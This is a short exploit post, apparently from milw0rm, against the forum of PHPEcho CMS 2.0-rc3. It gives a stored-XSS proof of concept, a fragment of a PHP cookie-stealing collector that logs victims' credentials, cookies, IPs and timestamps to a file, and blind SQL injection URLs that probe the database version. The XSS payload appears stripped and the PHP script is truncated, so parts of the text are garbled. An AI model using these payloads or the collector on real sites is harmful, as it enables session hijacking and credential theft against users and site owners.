PHPEcho CMS 2.0-rc3 (forum) XSS Cookie Stealing / Blind Vulnerability
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS
contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/
- download: http://sourceforge.net/project/showfiles.php?group_id=186100
~ [XSS]
The forum allowed insert javascript code and html code.
PoC:
">
0wned
">
-----------
Cookie Stealing:
stealing.php
USER and PASSWORD: '.base64_decode($usuario).'
Cookie: '.$cookie.'
Pagina: '.$re.'
IP: ' .$ip. '
Date and Time: ' .$fecha. '');
fclose($archivo);
?>
~ [BLIND]
PoC:
/index.php?module=forum&show=thread&id=1 and 1=2 [False]
/index.php?module=forum&show=thread&id=1 and 1=1 [True]
/index.php?module=forum&show=thread&id=1 AND SUBSTRING(@@version,1,1)=5
/index.php?module=forum&show=thread&id=1 AND SUBSTRING(@@version,1,1)=4
__h0__
# milw0rm.com [2009-06-24]